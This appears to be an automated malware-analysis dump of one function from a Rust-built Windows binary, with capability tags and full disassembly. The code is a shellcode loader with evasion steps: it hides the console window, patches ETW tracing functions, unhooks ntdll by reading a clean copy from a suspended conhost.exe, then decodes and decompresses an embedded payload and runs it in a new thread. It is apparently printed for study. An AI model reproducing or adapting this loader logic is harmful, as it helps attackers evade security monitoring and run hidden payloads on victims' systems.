Function at 0x10001930
Capabilities:
Create process on windows
Create process suspended
Execute shellcode via indirect call
Hide graphical window
Inject thread
Link many functions at runtime
Patch event tracing for windows function
Set registry value
Spawn thread to rwx shellcode

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x1a8
call sub.KERNEL32.dll_GetConsoleWindow
mov rsi, rax
mov rcx, rax
xor edx, edx
call sub.USER32.dll_ShowWindow
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov rcx, rsi
mov rdx, 0xfffffffffffffffe
xor r8d, r8d
xor r9d, r9d
call sub.USER32.dll_SetWindowPos
lea rcx, [0x10553cf8]
call sub.KERNEL32.dll_LoadLibraryA
mov rdi, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rsi, [0x10553d4b]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
xorps xmm0, xmm0
movaps xmmword [rsp + 0x190], xmm0
mov qword [rsp + 0x1a0], 0
movaps xmmword [rsp + 0xc0], xmm0
movaps xmmword [rsp + 0x120], xmm0
movaps xmmword [rsp + 0x110], xmm0
movaps xmmword [rsp + 0x100], xmm0
movaps xmmword [rsp + 0xf0], xmm0
movaps xmmword [rsp + 0xe0], xmm0
movaps xmmword [rsp + 0xd0], xmm0
mov dword [rsp + 0xc0], 0x70
lea rax, [rsp + 0x190]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
lea rdx, str.conhost.exe
xor ecx, ecx
xor r8d, r8d
xor r9d, r9d
call sub.KERNEL32.dll_CreateProcessA
call sym.winproc::process::Process::current::h362076d644e7483c
mov qword [rsp + 0xa0], rax
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0xa0]
call sym.winproc::process::Process::module_list::hc58c717a053b1b7b
cmp dword [rsp + 0x70], 4
jne 0x1000241b
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0xb0], rax
mov rdi, qword [rsp + 0x80]
mov r14, qword [rsp + 0x88]
test r14, r14
je 0x10001c66
shl r14, 4
xor r15d, r15d
movabs r12, 0x6c642e6c6c64746e
nop word cs:[rax + rax]
mov rax, qword [rdi + r15 + 8]
test rax, rax
je 0x10001c66
mov rcx, qword [rdi + r15]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0x60]
call sym.winproc::process::module::Module::name::hc62533c29f08f090
cmp dword [rsp + 0x70], 4
jne 0x100023ae
mov rsi, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x80]
mov r8, qword [rsp + 0x88]
lea rcx, [rsp + 0xc0]
mov rdx, rbx
call dbg.to_lowercase
mov ecx, 9
mov edx, 1
call sym.__rust_alloc
test rax, rax
je 0x1000239a
mov rcx, rax
mov qword [rax], r12
mov byte [rax + 8], 0x6c
mov rbp, qword [rsp + 0xc8]
cmp qword [rsp + 0xd0], 9
jne 0x10001c10
mov rax, qword [rbp]
xor rax, qword [rcx]
movzx edx, byte [rbp + 8]
xor dl, byte [rcx + 8]
movzx edx, dl
or rdx, rax
sete r13b
jmp 0x10001c13
xor r13d, r13d
mov edx, 9
mov r8d, 1
call sym.__rust_dealloc
mov rdx, qword [rsp + 0xc0]
test rdx, rdx
je 0x10001c3e
mov r8d, 1
mov rcx, rbp
call sym.__rust_dealloc
test rsi, rsi
je 0x10001c54
mov r8d, 1
mov rcx, rbx
mov rdx, rsi
call sym.__rust_dealloc
test r13b, r13b
jne 0x10001c97
add r15, 0x10
cmp r14, r15
jne 0x10001b60
mov rdx, qword [rsp + 0xb0]
test rdx, rdx
je 0x10001c85
shl rdx, 4
mov r8d, 8
mov rcx, rdi
call sym.__rust_dealloc
lea rcx, [rsp + 0xa0]
call sym.__winproc::handle::Handle_as_core::ops::drop::Drop_::drop::h8a1d0265e736016b
xor r15d, r15d
jmp 0x10001cd0
lea rcx, [rsp + 0x60]
call sym.winproc::process::module::Module::handle::h234c5457cf4998f2
mov r15, rax
mov rdx, qword [rsp + 0xb0]
test rdx, rdx
je 0x10001cc3
shl rdx, 4
mov r8d, 8
mov rcx, rdi
call sym.__rust_dealloc
lea rcx, [rsp + 0xa0]
call sym.__winproc::handle::Handle_as_core::ops::drop::Drop_::drop::h8a1d0265e736016b
lea rdx, str.C:WindowsSystem32_ntdll.dll0x
lea rcx, [rsp + 0xc0]
mov r8d, 0x1d
call sym.pelite::mmap::windows::ImageMap::_open::h87179c92b23958b5
cmp qword [rsp + 0xc0], 0
je 0x10001d4a
mov rdi, qword [rsp + 0xc8]
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x10001e4b
lea rsi, [rdi - 1]
mov rcx, qword [rdi - 1]
mov rax, qword [rdi + 7]
call qword [rax]
mov rax, qword [rdi + 7]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x10001d32
mov r8, qword [rax + 0x10]
mov rcx, qword [rsi]
call sym.__rust_dealloc
mov edx, 0x18
mov r8d, 8
mov rcx, rsi
call sym.__rust_dealloc
jmp 0x10001e4b
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [rsp + 0xc8]
movaps xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call sym.__pelite::mmap::windows::FileMap_as_core::convert::AsRef__u8___::as_ref::hc61c410b460e203b
mov rsi, rax
mov rdi, rdx
mov rcx, rax
call sym.pelite::pe64::pe::validate_headers::hcb98b817320fc913
test al, 1
jne 0x10002538
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rdi
lea rcx, [rsp + 0x60]
call sym.__pelite::pe32::view::PeView_as_pelite::pe32::pe::PeObject_::image::h05fcd78055a14b51
mov rcx, rax
call sym.pelite::pe64::pe::section_headers::h3094a18c8b91fe6f
add rax, 0xffffffffffffffd8
shl rdx, 3
lea rcx, [rdx + rdx*4]
movabs rdx, 0x747865742e
nop dword [rax]
test rcx, rcx
je 0x1000237d
lea rbx, [rax + 0x28]
add rcx, 0xffffffffffffffd8
cmp qword [rax + 0x28], rdx
mov rax, rbx
jne 0x10001dc0
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rdi
lea rcx, [rsp + 0x60]
call sym.__pelite::pe32::view::PeView_as_pelite::pe32::pe::PeObject_::image::h05fcd78055a14b51
mov rdi, rax
mov rbp, rdx
lea rsi, [rsp + 0x60]
mov rcx, rsi
call sym.__pelite::pe32::view::PeView_as_pelite::pe32::pe::PeObject_::align::h9ad800adc58ee1f0
mov byte [rsp + 0x20], al
lea rcx, [rsp + 0xa0]
mov rdx, rdi
mov r8, rbp
mov r9, rbx
call sym.pelite::wrap::pe::get_section_bytes::h233afd601b1a30f8
cmp qword [rsp + 0xa0], 0
je 0x10002556
mov eax, dword [rbx + 8]
mov ecx, dword [rbx + 0xc]
add r15, rcx
mov qword [0x105a7020], rax
mov qword [0x105a7028], r15
lea rcx, [rsp + 0x70]
call sym.__pelite::mmap::windows::FileMap_as_core::ops::drop::Drop_::drop::h7afc07de4088e89d
lea rax, [0x105a7028]
mov qword [rsp + 0x60], rax
lea rax, [sym.core::fmt::num::__impl_core::fmt::LowerHex_for_i64_::fmt::h610930867477da1b]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0xc0], 0
lea rax, [0x10553d80]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 1
lea rax, [rsp + 0x60]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0xc0]
call dbg.format_inner
mov r12, qword [rsp + 0x70]
mov r14, qword [rsp + 0x78]
mov rbx, qword [0x105a7020]
test rbx, rbx
je 0x10001f09
xor edi, edi
mov rax, rbx
shr rax, 0x3d
sete al
jne 0x10002524
lea rsi, [rbx*4]
mov dil, al
shl rdi, 2
test rsi, rsi
je 0x10001f10
mov rcx, rsi
mov rdx, rdi
call sym.__rust_alloc_zeroed
mov rbp, rax
test rbp, rbp
jne 0x10001f1c
jmp 0x1000252b
mov ebp, 4
jmp 0x10001f1c
mov rbp, rdi
test rbp, rbp
je 0x1000252b
mov rcx, qword [rsp + 0x190]
mov rdx, qword [0x105a7028]
mov qword [rsp + 0x20], 0
mov r8, rbp
mov r9, rbx
call sub.ntdll.dll_NtReadVirtualMemory
test eax, eax
jne 0x1000240c
mov rdx, qword [0x105a7028]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, rbp
mov r9, rbx
call sub.KERNEL32.dll_WriteProcessMemory
cmp eax, 1
jne 0x1000240c
test rbx, rbx
je 0x10001f8c
shl rbx, 2
mov r8d, 4
mov rcx, rbp
mov rdx, rbx
call sym.__rust_dealloc
test r12, r12
je 0x10001fa2
mov r8d, 1
mov rcx, r14
mov rdx, r12
call sym.__rust_dealloc
lea rcx, [0x10553cf8]
call sub.KERNEL32.dll_LoadLibraryA
mov rdi, rax
lea rdx, str.EtwEventWrite
mov rcx, rax
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
lea rsi, [0x10553d4b]
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwNotificationRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventRegister
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, str.EtwEventWriteFull
mov rcx, rdi
call sub.KERNEL32.dll_GetProcAddress
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, 0xffffffffffffffff
mov rdx, rax
mov r8, rsi
call sub.KERNEL32.dll_WriteProcessMemory
lea rdx, section..data
lea rcx, [rsp + 0xc0]
call sym.base64::decode::decode::hfeb1f8d53246ee6f
cmp qword [rsp + 0xc0], 0
jne 0x10002479
mov r12, qword [rsp + 0xc8]
mov r13, qword [rsp + 0xd0]
mov rbp, qword [rsp + 0xd8]
lea rdx, [0x100f6010]
lea rcx, [rsp + 0xc0]
call sym.base64::decode::decode::hfeb1f8d53246ee6f
cmp qword [rsp + 0xc0], 0
jne 0x100024b1
mov rbx, qword [rsp + 0xc8]
mov r14, qword [rsp + 0xd0]
lea rdx, [0x100f6020]
lea rcx, [rsp + 0xc0]
call sym.base64::decode::decode::hfeb1f8d53246ee6f
cmp qword [rsp + 0xc0], 0
jne 0x100024ec
mov rsi, qword [rsp + 0xc8]
mov rdi, qword [rsp + 0xd0]
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], rbp
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0xc0]
lea rdx, [rsp + 0x70]
call sym.xz2::read::XzDecoder_R_::new::h21be38d534474e8f
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x60]
lea rdx, [rsp + 0xc0]
lea r8, [rsp + 0x70]
call sym.std::io::default_read_to_end::h4c78e9d0c721519d
cmp qword [rsp + 0x60], 0
je 0x100021c9
mov r15, qword [rsp + 0x68]
mov eax, r15d
and eax, 3
cmp eax, 1
jne 0x100021c9
lea rbp, [r15 - 1]
mov rcx, qword [r15 - 1]
mov rax, qword [r15 + 7]
call qword [rax]
mov rax, qword [r15 + 7]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x100021b6
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp]
call sym.__rust_dealloc
mov edx, 0x18
mov r8d, 8
mov rcx, rbp
call sym.__rust_dealloc
mov rdx, qword [rsp + 0xe0]
test rdx, rdx
je 0x100021e9
mov rcx, qword [rsp + 0xd8]
mov r8d, 1
call sym.__rust_dealloc
lea rcx, [rsp + 0x100]
call sym.__xz2::stream::Stream_as_core::ops::drop::Drop_::drop::h0d0bada6b55e96fe
test rsi, rsi
je 0x1000220c
mov r8d, 1
mov rcx, rdi
mov rdx, rsi
call sym.__rust_dealloc
test rbx, rbx
je 0x10002222
mov r8d, 1
mov rcx, r14
mov rdx, rbx
call sym.__rust_dealloc
test r12, r12
je 0x10002238
mov r8d, 1
mov rcx, r13
mov rdx, r12
call sym.__rust_dealloc
mov qword [rsp + 0xa0], 0
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0xbc], 0
mov qword [rsp + 0xc0], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea rdx, [rsp + 0xa0]
lea r9, [rsp + 0xc0]
mov rcx, 0xffffffffffffffff
xor r8d, r8d
call sub.ntdll.dll_NtAllocateVirtualMemory
mov rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0x78]
mov r9, qword [rsp + 0x80]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
call sub.ntdll.dll_NtWriteVirtualMemory
lea rax, [rsp + 0xbc]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0xa0]
lea r8, [rsp + 0x60]
mov rcx, 0xffffffffffffffff
mov r9d, 0x20
call sub.ntdll.dll_NtProtectVirtualMemory
mov qword [rsp + 0xc0], 0
mov rax, qword [rsp + 0xa0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rsp + 0xc0]
mov edx, 0x2000000
xor r8d, r8d
mov r9, 0xffffffffffffffff
call sub.ntdll.dll_NtCreateThreadEx
mov rcx, qword [rsp + 0xc0]
xor edx, edx
xor r8d, r8d
call sub.ntdll.dll_NtWaitForSingleObject
mov rdx, qword [rsp + 0x70]
test rdx, rdx
je 0x10002368
mov rcx, qword [rsp + 0x78]
mov r8d, 1
call sym.__rust_dealloc
nop
add rsp, 0x1a8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [0x10553dd0]
lea r8, [0x10553e00]
mov edx, 0x2b
call dbg.panic
jmp 0x10002589
mov ecx, 9
mov edx, 1
call dbg.handle_alloc_error
jmp 0x10002589
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0xe0], rax
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0xd0], xmm1
movaps xmmword [rsp + 0xc0], xmm0
lea rax, [0x10553e30]
mov qword [rsp + 0x20], rax
lea rcx, [0x100f7020]
lea r9, sym.core::ptr::drop_in_place_winproc::errors::Error_::h7d3ca89564d65245
lea r8, [rsp + 0xc0]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x10002589
mov ecx, 1
call dbg.exit
jmp 0x10002589
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0xe0], rax
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0xd0], xmm1
movaps xmmword [rsp + 0xc0], xmm0
lea rax, [0x10553e18]
mov qword [rsp + 0x20], rax
lea rcx, [0x100f7020]
lea r9, sym.core::ptr::drop_in_place_winproc::errors::Error_::h7d3ca89564d65245
lea r8, [rsp + 0xc0]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x10002589
movups xmm0, xmmword [rsp + 0xc8]
movaps xmmword [rsp + 0x70], xmm0
lea rax, [0x10553e48]
mov qword [rsp + 0x20], rax
lea rcx, [0x100f7020]
lea r9, sym.core::ptr::drop_in_place_pelite::error::Error_::h05b3e87a0eb0de5e
lea r8, [rsp + 0x70]
mov edx, 0x2b
call dbg.unwrap_failed
ud2
movups xmm0, xmmword [rsp + 0xc8]
movaps xmmword [rsp + 0x70], xmm0
lea rax, [0x10553e60]
mov qword [rsp + 0x20], rax
lea rcx, [0x100f7020]
lea r9, sym.core::ptr::drop_in_place_pelite::error::Error_::h05b3e87a0eb0de5e
lea r8, [rsp + 0x70]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x10002589
movups xmm0, xmmword [rsp + 0xc8]
movaps xmmword [rsp + 0x70], xmm0
lea rax, [0x10553e78]
mov qword [rsp + 0x20], rax
lea rcx, [0x100f7020]
lea r9, sym.core::ptr::drop_in_place_pelite::error::Error_::h05b3e87a0eb0de5e
lea r8, [rsp + 0x70]
mov edx, 0x2b
call dbg.unwrap_failed
jmp 0x10002589
call dbg.capacity_overflow
jmp 0x10002589
mov rcx, rsi
mov rdx, rdi
call dbg.handle_alloc_error
jmp 0x10002589
mov byte [rsp + 0x60], ah
lea rax, [0x10553da0]
lea rsi, [rsp + 0x60]
mov edx, 6
lea rcx, str.REASONsrc_lib.rs
jmp 0x10002575
movzx eax, byte [rsp + 0xa8]
mov byte [rsp + 0x60], al
lea rax, [0x10553db8]
mov edx, 0x2b
lea rcx, [0x100f7020]
mov qword [rsp + 0x20], rax
lea r9, section..rdata
mov r8, rsi
call dbg.unwrap_failed
ud2